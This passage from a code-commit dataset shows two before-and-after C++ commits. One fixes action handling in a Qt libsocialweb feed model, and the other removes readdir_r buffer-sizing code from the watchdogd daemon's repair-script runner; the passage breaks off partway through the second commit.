action << \"called for libsocialweb item\" << uniqueid;\n    \/\/Right now, assume only default action.\n    foreach (struct SwItem item, mItems) {\n        if (item.item->getID() == uniqueid) {\n            QDesktopServices::openUrl(item.item->getURL());\n            break;\n        }\n\n    }\n\n}\n\n\/\/Private slots:\n\nvoid SwModel::onItemsAdded(QList<SwClientItem *> items)\n{\n    foreach (SwClientItem *swItem, items) {\n        struct SwItem item;\n        item.item = swItem;\n        item.action = new McaActions();\n        connect(item.action,\n                SIGNAL(standardAction(QString,QString)),\n                this,\n                SLOT(performAction(QString,QString)));\n        this->beginInsertRows(QModelIndex(), mItems.count(), mItems.count());\n        mItems.append(item);\n        this->endInsertRows();\n    }\n}\n\nvoid SwModel::onItemsChanged(QList<SwClientItem *> items)\n{\n    int i;\n    \/\/TODO - see if there's a better way than an inner and outer loop...\n    foreach (SwClientItem *swItem, items) {\n        for (i = 0; i < mItems.count(); ++i) {\n            if (swItem->getID() == mItems.at(i).item->getID()) {\n                struct SwItem item;\n                item.action = mItems.at(i).action;\n                item.item = swItem;\n                QModelIndex qmi = this->createIndex(i, 0, 0);\n                mItems.replace(i, item);\n                emit this->dataChanged(qmi, qmi);\n                break;\n            }\n        }\n    }\n}\n\nvoid SwModel::onItemsRemoved(ArrayOfSwItemId items)\n{\n    int i;\n    foreach (SwItemId itemID, items) {\n        for (i = 0; i < mItems.count(); ++i) {\n            struct SwItem item = mItems.at(i);\n            if (itemID.uuid == item.item->getSwUUID()) {\n                this->beginRemoveRows(QModelIndex(), i, i);\n                mItems.removeAt(i);\n                this->endInsertRows();\n                break;\n            }\n        }\n    }\n}\n\n\/\/Private functions:\n\nvoid SwModel::openView()\n{\n    \/\/If we had a view open previously and gotten items, this will\n    \/\/ensure we don't get duplicate items from the new view...\n    this->beginRemoveRows(QModelIndex(), 0, mItems.count());\n    mItems.clear();\n    this->endRemoveRows();\n\n    mView = mService->openView(\"feed\");\n    connect(mView,\n            SIGNAL(ItemsAdded(QList<SwClientItem*>)),\n            this,\n            SLOT(onItemsAdded(QList<SwClientItem*>)));\n    connect(mView,\n            SIGNAL(ItemsChanged(QList<SwClientItem*>)),\n            this,\n            SLOT(onItemsChanged(QList<SwClientItem*>)));\n    connect(mView,\n            SIGNAL(ItemsRemoved(ArrayOfSwItemId)),\n            this,\n            SLOT(onItemsRemoved(ArrayOfSwItemId)));\n    mView->startView();\n}\n\nvoid SwModel::closeView()\n{\n    mView->stopView();\n    mView->closeView();\n    delete mView;\n    mView = 0;\n}\n<commit_msg>Fix BMC#17897 - Make action handling actually pay attention to what action is being called.<commit_after>\/*\n * Copyright 2011 Intel Corporation.\n *\n * This program is licensed under the terms and conditions of the\n * Apache License, version 2.0.  The full text of the Apache License is at \t\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\/\n\n#include \"swmodel.h\"\n\n#include <QDebug>\n\n#include <QDateTime>\n#include <QStringList>\n#include <QDesktopServices>\n\n#include <libsocialweb-qt\/swclientservice.h>\n#include <libsocialweb-qt\/swclientitemview.h>\n#include <libsocialweb-qt\/swclientitem.h>\n\n#include <actions.h>\n\nSwModel::SwModel(SwClientService *clientService, QObject *parent):\n    McaFeedModel(parent),\n    mService(clientService),\n    mView(0)\n\n{\n    openView();\n}\n\/*\n\/\/ Developers: Please see annotations in emailmodel.cpp for help on how to\n\/\/   implement your own feed model. This one is no different.\nSocialModel::SocialModel(QObject *parent): McaFeedModel(parent)\n{\n    m_size = 15;\n    m_socials = new Social[m_size];\n\n    \/\/ ensure Socials generated are always the same\n    qsrand(0);\n\n    QDateTime date = QDateTime::currentDateTime();\n    for (int i=0; i<m_size; i++) {\n        date = date.addSecs(-qrand() % 10000);\n        m_socials[i].timestamp = date;\n\n        \/\/ use consistent uuids for testing\n        m_socials[i].uuid = QString::number(20000 + i);\n\n        QStringList list;\n        list << \"New friend\" << \"Sarah is listening\" <<\n                \"Photo album uploaded\" << \"John likes MeeGo\";\n        int msg = qrand() % list.size();\n        m_socials[i].subject = list.at(msg);\n\n        list.clear();\n        list << \"Alex has accepted your friend request\"\n                <<\n                \"Sarah is listening to Beethoven's 5th Symphony\"\n                <<\n                \"Photos from the last week of my road trip to Paris\"\n                <<\n                \"Hey guys, check out these cool new MeeGo applications\";\n        m_socials[i].body = list.at(msg);\n\n        connect(&m_socials[i].actions, SIGNAL(standardAction(QString,QString)),\n                this, SLOT(performAction(QString,QString)));\n    }\n}\n\nSocialModel::~SocialModel()\n{\n    delete [] m_socials;\n}\n*\/\n\nint SwModel::rowCount(const QModelIndex &parent) const\n{\n    Q_UNUSED(parent);\n    return mItems.count();\n}\n\nQVariant SwModel::data(const QModelIndex &index, int role) const\n{\n    int row = index.row();\n    if ((row >= mItems.count()) || (row < 0))\n        return QVariant();\n\/\/    qDebug() << QString(\"mItems.count(): \") << mItems.count();\n\/*\n    switch (role) {\n    case RequiredTypeRole:\n        return QString(\"content\");\n\n    case RequiredUniqueIdRole:\n        return m_socials[row].uuid;\n\n    case RequiredTimestampRole:\n        return m_socials[row].timestamp;\n\n    case GenericTitleRole:\n        return m_socials[row].subject;\n\n    case GenericContentRole:\n        return m_socials[row].body;\n\n    case GenericAvatarUrlRole:\n        if (index.row() % 2)\n            return QString(\"file:\/\/tmp\/happy.svg\");\n        else\n            return QString(\"file:\/\/tmp\/wink.svg\");\n\n    case CommonActionsRole:\n        return QVariant::fromValue<McaActions*>(&m_socials[row].actions);\n\n    default:\n        return QVariant();\n    };\n    *\/\n \/\/   qDebug() << QString(\"row: %1, mItems.count(): %2\").arg(QString::number(row), QString::number(mItems.count()));\n\/\/    qDebug() << QString(\"mItems.at(row): %1\/%2\").arg(QString::number((int)(mItems.at(row).item)), QString::number((int)(mItems.at(row).action))) ;\n    SwItem item = mItems.at(row);\n    SwClientItem *swItem = item.item;\n    if (!swItem)\n        return QVariant();\n\n    switch (role) {\n    case RequiredTypeRole:\n        {\n\/*            QString itemType;\n\n            switch (swItem->getItemType()) {\n            case SwClientItem::ItemTypeText:\n                itemType = \"text\";\n                break;\n            case SwClientItem::ItemTypePic:\n                itemType = \"picture\";\n                break;\n            case SwClientItem::ItemTypeLast:\n            default:\n                itemType = \"unknown\";\n                qDebug() << QString(\"Got unknown item type for SwClientItem of service %1! Props:\").arg(swItem->getServiceName());\n                qDebug() << swItem->getSwItemProps();\n                break;\n            }\n\n            return QVariant::fromValue<QString>(QString(\"%1\/%2\").arg(itemType, swItem->getServiceName()));*\/\n            return \"content\";\n            break;\n        }\n\n    case RequiredUniqueIdRole:\n        {\n            return QVariant::fromValue<QString>(swItem->getID());\n            break;\n        }\n\n    case RequiredTimestampRole:\n        {\n            return QVariant::fromValue<QDateTime>(swItem->getDateTime());\n            break;\n        }\n\n    case CommonUuidRole:\n        {\n            return QVariant::fromValue<QString>(swItem->getSwUUID());\n            break;\n        }\n\n    case GenericTitleRole:\n        {\n            return QVariant::fromValue<QString>(swItem->getAuthorName());\n            break;\n        }\n\n\/\/    case GenericIconUrlRole:\n\/\/        {\n\/\/            \/\/TODO: Ugly - need to resolve this in libsocialweb-qt -\n\/\/            \/\/getService gives us a const SwClientService, but the\n\/\/            \/\/SwClientService::getServiceConfig is not const, as it will\n\/\/            \/\/instanciate a SwClientServiceConfig private member object if\n\/\/            \/\/it's not already instanciated...\n\/\/            SwClientService *swService = const_cast<SwClientService *>(swItem->getService());\n\n\/\/            QString path = swService->getServiceConfig()->getIconPath();\n\/\/            if (path.isEmpty())\n\/\/                return QVariant();\n\/\/            return QVariant::fromValue<QString>(QString(\"file:\/\/%1\").arg(path));\n\/\/            break;\n\/\/        }\n\n    case GenericRelevanceRole:\n        {\n            return QVariant::fromValue<qreal>(1.0);\n            break;\n        }\n\n    case GenericPictureUrlRole:\n        {\n            QString path = swItem->getThumbnailPath();\n            if (path.isEmpty())\n                return QVariant();\n            return QVariant::fromValue<QString>(QString(\"file:\/\/%1\").arg(path));\n            break;\n        }\n    case GenericAvatarUrlRole:\n        {\n            QString path = swItem->getAuthorIconPath();\n            if (path.isEmpty())\n                return QVariant();\n            return QVariant::fromValue<QString>(QString(\"file:\/\/%1\").arg(path));\n            break;\n        }\n    case GenericContentRole:\n        {\n            \/\/Note that getContent will return the message text for\n            \/\/ItemTypeText, and will appropriately fall back to the\n            \/\/picture title on ItemTypePic\n            return QVariant::fromValue<QString>(swItem->getContent());\n        }\n\n    case CommonActionsRole:\n        return QVariant::fromValue<McaActions*>(item.action);\n\n    default:\n        return QVariant();\n    }\n\n    return QVariant();\n\n}\n\nvoid SwModel::performAction(QString action, QString uniqueid)\n{\n    qDebug() << \"Action\" << action << \"called for libsocialweb item\" << uniqueid;\n    \/\/Right now, assume only default action.\n    foreach (struct SwItem item, mItems) {\n        if (item.item->getID() == uniqueid) {\n            if (action == \"default\")\n                QDesktopServices::openUrl(item.item->getURL());\n            else\n                qDebug() << \"Unrecognized action\" << action << \"called!\";\n            break;\n        }\n\n    }\n\n}\n\n\/\/Private slots:\n\nvoid SwModel::onItemsAdded(QList<SwClientItem *> items)\n{\n    foreach (SwClientItem *swItem, items) {\n        struct SwItem item;\n        item.item = swItem;\n        item.action = new McaActions();\n        connect(item.action,\n                SIGNAL(standardAction(QString,QString)),\n                this,\n                SLOT(performAction(QString,QString)));\n        this->beginInsertRows(QModelIndex(), mItems.count(), mItems.count());\n        mItems.append(item);\n        this->endInsertRows();\n    }\n}\n\nvoid SwModel::onItemsChanged(QList<SwClientItem *> items)\n{\n    int i;\n    \/\/TODO - see if there's a better way than an inner and outer loop...\n    foreach (SwClientItem *swItem, items) {\n        for (i = 0; i < mItems.count(); ++i) {\n            if (swItem->getID() == mItems.at(i).item->getID()) {\n                struct SwItem item;\n                item.action = mItems.at(i).action;\n                item.item = swItem;\n                QModelIndex qmi = this->createIndex(i, 0, 0);\n                mItems.replace(i, item);\n                emit this->dataChanged(qmi, qmi);\n                break;\n            }\n        }\n    }\n}\n\nvoid SwModel::onItemsRemoved(ArrayOfSwItemId items)\n{\n    int i;\n    foreach (SwItemId itemID, items) {\n        for (i = 0; i < mItems.count(); ++i) {\n            struct SwItem item = mItems.at(i);\n            if (itemID.uuid == item.item->getSwUUID()) {\n                this->beginRemoveRows(QModelIndex(), i, i);\n                mItems.removeAt(i);\n                this->endInsertRows();\n                break;\n            }\n        }\n    }\n}\n\n\/\/Private functions:\n\nvoid SwModel::openView()\n{\n    \/\/If we had a view open previously and gotten items, this will\n    \/\/ensure we don't get duplicate items from the new view...\n    this->beginRemoveRows(QModelIndex(), 0, mItems.count());\n    mItems.clear();\n    this->endRemoveRows();\n\n    mView = mService->openView(\"feed\");\n    connect(mView,\n            SIGNAL(ItemsAdded(QList<SwClientItem*>)),\n            this,\n            SLOT(onItemsAdded(QList<SwClientItem*>)));\n    connect(mView,\n            SIGNAL(ItemsChanged(QList<SwClientItem*>)),\n            this,\n            SLOT(onItemsChanged(QList<SwClientItem*>)));\n    connect(mView,\n            SIGNAL(ItemsRemoved(ArrayOfSwItemId)),\n            this,\n            SLOT(onItemsRemoved(ArrayOfSwItemId)));\n    mView->startView();\n}\n\nvoid SwModel::closeView()\n{\n    mView->stopView();\n    mView->closeView();\n    delete mView;\n    mView = 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright 2013-2016 Christian Lockley\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may \n * not use this file except in compliance with the License. You may obtain \n * a copy of the License at\n * \n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n * implied. See the License for the specific language governing\n * permissions and limitations under the License. \n *\/\n#define _DEFAULT_SOURCE\n#include <libgen.h>\n#include \"watchdogd.hpp\"\n#include \"sub.hpp\"\n#include <dirent.h>\n#include <semaphore.h>\n#include \"testdir.hpp\"\n#include \"exe.hpp\"\n#include \"repair.hpp\"\n#include <sys\/eventfd.h>\n#include \"threadpool.hpp\"\n#include \"futex.hpp\"\n\nstatic std::atomic_int sem = {0};\n\/\/The dirent_buf_size function was written by Ben Hutchings and released under the following license.\n\n\/\/Permission is hereby granted, free of charge, to any person obtaining a copy of this\n\/\/software and associated documentation files (the \"Software\"), to deal in the Software\n\/\/without restriction, including without limitation the rights to use, copy, modify, merge,\n\/\/publish, distribute, sublicense, and\/or sell copies of the Software, and to permit\n\/\/persons to whom the Software is furnished to do so, subject to the following\n\/\/condition:\n\/\/THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n\/\/EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n\/\/MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n\/\/NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT\n\/\/HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\n\/\/WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n\/\/DEALINGS IN THE SOFTWARE.\n\n\/\/Copied into this program Sun September 8, 2013 by Christian Lockley\n\nsize_t DirentBufSize(DIR * dirp)\n{\n\tlong name_max;\n\tsize_t name_end;\n#if defined(HAVE_FPATHCONF) && defined(HAVE_DIRFD) \\\n&& defined(_PC_NAME_MAX)\n\tname_max = fpathconf(dirfd(dirp), _PC_NAME_MAX);\n\tif (name_max == -1)\n#if defined(NAME_MAX)\n\t\tname_max = (NAME_MAX > 255) ? NAME_MAX : 255;\n#else\n\t\treturn (size_t) (-1);\n#endif\n#else\n#if defined(NAME_MAX)\n\tname_max = (NAME_MAX > 255) ? NAME_MAX : 255;\n#else\n#error \"buffer size for readdir_r cannot be determined\"\n#endif\n#endif\n\tname_end =\n\t    (size_t) offsetof(struct dirent,\n\t\t\t      d_name) + (unsigned long)name_max + 1;\n\treturn (name_end > sizeof(struct dirent)\n\t\t? name_end : sizeof(struct dirent));\n}\n\nstatic void DeleteDuplicates(ProcessList * p)\n{\n\tassert(p != NULL);\n\n\trepaircmd_t *c = NULL;\n\trepaircmd_t *next = NULL;\n\n\tlist_for_each_entry(c, next, &p->head, entry) {\n\t\trepaircmd_t *b = NULL;\n\t\trepaircmd_t *next2 = NULL;\n\t\tif (c->legacy) {\n\t\t\tlist_for_each_entry(b, next2, &p->head, entry) {\n\t\t\t\tif (!b->legacy) {\n\t\t\t\t\tif (strcmp(c->path, b->path) == 0) {\n\t\t\t\t\t\tlist_del(&c->entry);\n\t\t\t\t\t\tfree((void *)c->path);\n\t\t\t\t\t\tfree((void *)c);\n\t\t\t\t\t\tLogmsg(LOG_INFO, \"Using configuration info for %s script\", b->path);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n\nint CreateLinkedListOfExes(char *repairScriptFolder, ProcessList * p,\n\t\t\t   struct cfgoptions *const config)\n{\n\tassert(p != NULL);\n\tassert(repairScriptFolder != NULL);\n\n\tstruct stat buffer;\n\tstruct dirent *ent = NULL;\n\n\tlist_init(&p->head);\n\n\tint fd = open(repairScriptFolder, O_DIRECTORY | O_RDONLY);\n\n\tif (fd == -1) {\n\t\tif (!(IDENTIFY & config->options)) {\n\t\t\tfprintf(stderr, \"watchdogd: %s: %s\\n\", repairScriptFolder,\n\t\t\t\tMyStrerror(errno));\n\t\t}\n\n\t\tif (config->options & FORCE || config->options & SOFTBOOT || config->haveConfigFile == false) {\n\t\t\treturn 0;\n\t\t}\n\n\t\treturn 1;\n\t}\n\n\tDIR *dir = fdopendir(fd);\n\n\tif (dir == NULL) {\n\t\tLogmsg(LOG_ERR, \"watchdogd: %s\", MyStrerror(errno));\n\t\tclose(fd);\n\t\treturn -1;\n\t}\n\n\terrno = 0;\n\n\twhile ((ent = readdir(dir)) != NULL) {\n\n\t\tint statfd = dirfd(dir);\n\n\t\tif (statfd == -1) {\n\t\t\tgoto error;\n\t\t}\n\n\t\tif (strchr(\".\", ent->d_name[0]) != NULL && !(config->options & FORCE)) {\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (fstatat(statfd, ent->d_name, &buffer, 0) < 0)\n\t\t\tcontinue;\n\n\t\tif (IsRepairScriptConfig(ent->d_name) == 0) {\n\t\t\tif (S_ISREG(buffer.st_mode) == 0) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tif (!(buffer.st_mode & S_IXUSR))\n\t\t\t\tcontinue;\n\n\t\t\tif (!(buffer.st_mode & S_IRUSR))\n\t\t\t\tcontinue;\n\t\t} else {\n\t\t\tif (S_ISREG(buffer.st_mode) == 0) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t}\n\n\t\trepaircmd_t *cmd = (repaircmd_t *) calloc(1, sizeof(*cmd));\n\n\t\tif (cmd == NULL) {\n\t\t\tgoto error;\n\t\t}\n\n\t\tfor (size_t i = 0; i < strlen(repairScriptFolder); i += 1) {\n\t\t\tif (repairScriptFolder[i] == '\/' && i < strlen(repairScriptFolder)\n\t\t\t    && repairScriptFolder[i+1] == '\\0') {\n\t\t\t\trepairScriptFolder[i] = '\\0';\n\t\t\t}\n\t\t}\n\n\n\t\tWasprintf((char **)&cmd->path, \"%s\/%s\", repairScriptFolder, ent->d_name);\n\n\t\tif (cmd->path == NULL) {\n\t\t\tassert(cmd != NULL);\n\t\t\tfree(cmd);\n\t\t\tgoto error;\n\t\t}\n\n\t\tif (IsRepairScriptConfig(ent->d_name) == 0) {\n\t\t\tcmd->legacy = true;\n\t\t} else {\n\t\t\t\/\/For V3 repair scripts cmd->path refers to the pathname of the repair script config file\n\t\t\tif (LoadRepairScriptLink\n\t\t\t    (&cmd->spawnattr, (char *)cmd->path) == false) {\n\t\t\t\tfree((void *)cmd->path);\n\t\t\t\tfree(cmd);\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tcmd->spawnattr.repairFilePathname = strdup(cmd->path);\n\t\t\tfree((void *)cmd->path);\n\t\t\tcmd->path = NULL;\n\t\t\tcmd->path = cmd->spawnattr.execStart;\n\n\t\t\tchar * rel = basename(strdup(cmd->path));\n\n\t\t\tif (strcmp(rel, cmd->path) == 0) {\n\t\t\t\tfree((void*)rel);\n\t\t\t\tWasprintf((char **)&rel, \"%s\/%s\", repairScriptFolder, cmd->path);\n\t\t\t\tfree((void*)cmd->path);\n\t\t\t\tcmd->path = cmd->spawnattr.execStart = rel;\n\t\t\t}\n\n\t\t\tif (cmd->path == NULL) {\n\t\t\t\tfprintf(stderr,\n\t\t\t\t\t\"Ignoring malformed repair file: %s\\n\",\n\t\t\t\t\tent->d_name);\n\t\t\t\tfree(cmd);\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tif (fd < 0) {\n\t\t\t\tfprintf(stderr, \"unable to open file %s:\\n\",\n\t\t\t\t\tMyStrerror(errno));\n\t\t\t\tfree((void *)cmd->path);\n\t\t\t\tfree((void *)cmd);\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tif (IsExe(cmd->path, false) < 0) {\n\t\t\t\tfprintf(stderr, \"%s is not an executable\\n\",\n\t\t\t\t\tcmd->path);\n\t\t\t\tfree((void *)cmd->path);\n\t\t\t\tfree((void *)cmd);\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tcmd->legacy = false;\n\t\t}\n\n\t\tlist_add(&cmd->entry, &p->head);\n\t}\n\t\n\tassert(fd != -1);\n\n\tclose(fd);\n\tclosedir(dir);\n\tDeleteDuplicates(p);\n\treturn 0;\n\n error:\n\tassert(fd != -1);\n\tclose(fd);\n\tLogmsg(LOG_ERR, \"watchdogd: %s\", MyStrerror(errno));\n\tclosedir(dir);\n\n\treturn -1;\n}\n\nvoid FreeExeList(ProcessList * p)\n{\n\tassert(p != NULL);\n\n\trepaircmd_t *c = NULL;\n\trepaircmd_t *next = NULL;\n\n\tlist_for_each_entry(c, next, &p->head, entry) {\n\t\tlist_del(&c->entry);\n\t\tfree((void *)c->path);\n\t\tif (c->legacy == false) {\n\t\t\tfree((void *)c->spawnattr.user);\n\t\t\tfree((void *)c->spawnattr.group);\n\t\t\tfree((void *)c->spawnattr.workingDirectory);\n\t\t\tfree((void *)c->spawnattr.repairFilePathname);\n\t\t\tfree((void *)c->spawnattr.noNewPrivileges);\n\t\t}\n\t\tfree(c);\n\t}\n}\n\nstatic void * __ExecScriptWorkerThread(void *a)\n{\n\tassert(a != NULL);\n\n\t__sync_synchronize();\n\n\tContainer *container = (Container *) a;\n\trepaircmd_t *c = container->cmd;\n\tcontainer->workerThreadCount += 1;\n\tsem = 1;\n\tFutexWake(&sem);\n\t__sync_synchronize();\n\n\tif (c->legacy == false) {\n\t\tif (c->retString[0] == '\\0') {\n\t\t\tc->ret =\n\t\t\t    SpawnAttr(&c->spawnattr, c->path, c->path, c->mode == TEST ? \"test\": \"repair\",\n\t\t\t\t      NULL);\n\t\t} else {\n\t\t\tc->ret =\n\t\t\t    SpawnAttr(&c->spawnattr, c->path, c->path, c->mode == TEST ? \"test\": \"repair\", c->retString,\n\t\t\t\t      NULL);\n\t\t}\n\t} else {\n\t\tspawnattr_t attr = {\n\t\t\t\t.workingDirectory = NULL, .repairFilePathname = NULL,\n\t        \t\t.execStart = NULL, .user = NULL, .group = NULL,\n\t\t\t\t.timeout = container->config->repairBinTimeout, .nice = 0, .umask = 0,\n\t\t\t\t.noNewPrivileges = false, .hasUmask = false\n\t\t};\n\n\t\tif (c->retString[0] == '\\0') {\n\t\t\tif (c->mode == TEST) {\n\t\t\t\tc->ret = SpawnAttr(&attr, c->path, c->path, \"test\", NULL);\n\t\t\t} else {\n\t\t\t\tc->ret = SpawnAttr(&attr, c->path, c->path, \"repair\", c->path, NULL);\n\t\t\t}\n\t\t} else {\n\t\t\tif (c->mode == TEST) {\n\t\t\t\tc->ret = SpawnAttr(&attr, c->path, c->path, \"test\", NULL);\n\t\t\t} else {\n\t\t\t\tc->ret = SpawnAttr(&attr, c->path, c->path, \"repair\", c->retString, c->path, NULL);\n\t\t\t}\n\t\t}\n\t}\n\n\tc->retString[0] = '\\0';\n\n\tcontainer->workerThreadCount -= 1;\n\n\t__sync_synchronize();\n\treturn NULL;\n}\n\nstatic void __WaitForWorkers(Container const *container)\n{\n\twhile (container->workerThreadCount != 0) {\n\t\tsleep(1);\n\t}\n}\n\nstatic int __ExecuteRepairScripts(void *a)\n{\n\tstruct executeScriptsStruct *arg = (struct executeScriptsStruct *)a;\n\tProcessList *p = arg->list;\n\tstruct cfgoptions *s = arg->config;\n\n\tContainer container = {{0}, s, NULL};\n\n\trepaircmd_t *c = NULL;\n\trepaircmd_t *next = NULL;\n\n\tlist_for_each_entry(c, next, &p->head, entry) {\n\t\tcontainer.cmd = c;\n\t\tcontainer.cmd->mode = TEST;\n\n\t\tc->retString[0] = '\\0';\n\t\tThreadPoolAddTask(__ExecScriptWorkerThread, &container, true);\n\t\t__sync_synchronize();\n\t\tFutexWait(&sem, 0);\n\t\tsem = 0;\n\t}\n\n\tc = NULL;\n\tnext = NULL;\n\n\t__WaitForWorkers(&container);\n\n\tlist_for_each_entry(c, next, &p->head, entry) {\n\t\tif (c->ret == 0) {\n\t\t\tcontinue;\n\t\t}\n\n\t\tcontainer.cmd = c;\n\t\tportable_snprintf(container.cmd->retString, sizeof(container.cmd->retString), \"%i\", c->ret);\n\n\t\tcontainer.cmd->mode = REPAIR;\n\n\t\tThreadPoolAddTask(__ExecScriptWorkerThread, &container, true);\n\t\t__sync_synchronize();\n\t\tFutexWait(&sem, 0);\n\t\tsem = 0;\n\t}\n\n\t__WaitForWorkers(&container);\n\n\tc = NULL;\n\tnext = NULL;\n\n\tlist_for_each_entry(c, next, &p->head, entry) {\n\t\tif (c->ret != 0) {\n\t\t\tLogmsg(LOG_ERR, \"repair %s script failed\",\n\t\t\t\tc->legacy == false ? c->spawnattr.repairFilePathname : c->path);\n\t\t\treturn 1;\n\t\t}\n\t}\n\n\treturn 0;\n}\n\nstatic int pipeFd[2] = {0};\n\nbool ExecuteRepairScriptsPreFork(ProcessList * p, struct cfgoptions *s)\n{\n\tif (list_is_empty(&p->head)) {\n\t\treturn true;\n\t}\n\n\tpipe(pipeFd);\n\n\tpid_t pid = fork();\n\n\tif (pid == -1) {\n\t\tLogmsg(LOG_ERR, \"%s\\n\", MyStrerror(errno));\n\t\treturn false;\n\t} else if (pid == 0) {\n\t\tclose(pipeFd[0]);\n\t\tpid_t pid = fork();\n\n#if defined(__linux__)\n\t\tif (LinuxRunningSystemd() == 1) {\n\t\t\tunsetenv(\"NOTIFY_SOCKET\");\n\t\t}\n#endif\n\n\t\tunsetenv(\"LD_PRELOAD\");\n\n\t\tif (pid > 0) {\n\t\t\t_Exit(0);\n\t\t}\n\n\n\t\tif (pid < 0) {\n\t\t\tLogmsg(LOG_ERR, \"fork failed: %s\", MyStrerror(errno));\n\t\t\tabort();\n\t\t}\n\n\t\tchar b[1];\n\n\t\tThreadPoolNew();\n\n\t\twhile (true) {\n\t\t\tuint64_t value = 0;\n\t\t\tstruct executeScriptsStruct ess;\n\t\t\tess.list = p;\n\t\t\tess.config = s;\n\n\t\t\tint ret = __ExecuteRepairScripts(&ess);\n\n\t\t\twrite(pipeFd[1], &ret, sizeof(ret));\n\t\t}\n\n\t\texit(0);\n\t}\n\tclose(pipeFd[1]);\n\treturn true;\n}\n\nint ExecuteRepairScripts(void)\n{\n\tuint64_t value = 1;\n\tint ret = 0;\n\n\tread(pipeFd[0], &ret, sizeof(ret));\n\n\tif (ret != 0) {\n\t\treturn -1;\n\t}\n\n\treturn 0;\n}\n<commit_msg>delete readdir_r buffer sizing code<commit_after>\/*\n * Copyright 2013-2016 Christian Lockley\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may \n * not use this file except in compliance with the License. You may obtain \n * a copy of the License at\n * \n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n * implied. See the License for the specific language governing\n * permissions and limitations under the License. \n *\/\n#define _DEFAULT_SOURCE\n#include <libgen.h>\n#include \"watchdogd.hpp\"\n#include \"sub.hpp\"\n#include <dirent.h>\n#include <semaphore.h>\n#include \"testdir.hpp\"\n#include \"exe.hpp\"\n#include \"repair.hpp\"\n#include <sys\/eventfd.h>\n#include \"threadpool.hpp\"\n#include \"futex.hpp\"\n\nstatic std::atomic_int sem = {0};\n\nstatic void DeleteDuplicates(ProcessList * p)\n{\n\tassert(p != NULL);\n\n\trepaircmd_t *c = NULL;\n\trepaircmd_t *next = NULL;\n\n\tlist_for_each_entry(c, next, &p->head, entry) {\n\t\trepaircmd_t *b = NULL;\n\t\trepaircmd_t *next2 = NULL;\n\t\tif (c->legacy) {\n\t\t\tlist_for_each_entry(b, next2, &p->head, entry) {\n\t\t\t\tif (!b->legacy) {\n\t\t\t\t\tif (strcmp(c->path, b->path) == 0) {\n\t\t\t\t\t\tlist_del(&c->entry);\n\t\t\t\t\t\tfree((void *)c->path);\n\t\t\t\t\t\tfree((void *)c);\n\t\t\t\t\t\tLogmsg(LOG_INFO, \"Using configuration info for %s script\", b->path);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n\nint CreateLinkedListOfExes(char *repairScriptFolder, ProcessList * p,\n\t\t\t   struct cfgoptions *const config)\n{\n\tassert(p != NULL);\n\tassert(repairScriptFolder != NULL);\n\n\tstruct stat buffer;\n\tstruct dirent *ent = NULL;\n\n\tlist_init(&p->head);\n\n\tint fd = open(repairScriptFolder, O_DIRECTORY | O_RDONLY);\n\n\tif (fd == -1) {\n\t\tif (!(IDENTIFY & config->options)) {\n\t\t\tfprintf(stderr, \"watchdogd: %s: %s\\n\", repairScriptFolder,\n\t\t\t\tMyStrerror(errno));\n\t\t}\n\n\t\tif (config->options & FORCE || config->options & SOFTBOOT || config->haveConfigFile == false) {\n\t\t\treturn 0;\n\t\t}\n\n\t\treturn 1;\n\t}\n\n\tDIR *dir = fdopendir(fd);\n\n\tif (dir == NULL) {\n\t\tLogmsg(LOG_ERR, \"watchdogd: %s\", MyStrerror(errno));\n\t\tclose(fd);\n\t\treturn -1;\n\t}\n\n\terrno = 0;\n\n\twhile ((ent = readdir(dir)) != NULL) {\n\n\t\tint statfd = dirfd(dir);\n\n\t\tif (statfd == -1) {\n\t\t\tgoto error;\n\t\t}\n\n\t\tif (strchr(\".\", ent->d_name[0]) != NULL && !(config->options & FORCE)) {\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (fstatat(statfd, ent->d_name, &buffer, 0) < 0)\n\t\t\tcontinue;\n\n\t\tif (IsRepairScriptConfig(ent->d_name) == 0) {\n\t\t\tif (S_ISREG(buffer.st_mode) == 0) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tif (!(buffer.st_mode & S_IXUSR))\n\t\t\t\tcontinue;\n\n\t\t\tif (!(buffer.st_mode & S_IRUSR))\n\t\t\t\tcontinue;\n\t\t} else {\n\t\t\tif (S_ISREG(buffer.st_mode) == 0) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t}\n\n\t\trepaircmd_t *cmd = (repaircmd_t *) calloc(1, sizeof(*cmd));\n\n\t\tif (cmd == NULL) {\n\t\t\tgoto error;\n\t\t}\n\n\t\tfor (size_t i = 0; i < strlen(repairScriptFolder); i += 1) {\n\t\t\tif (repairScriptFolder[i] == '\/' && i < strlen(repairScriptFolder)\n\t\t\t    && 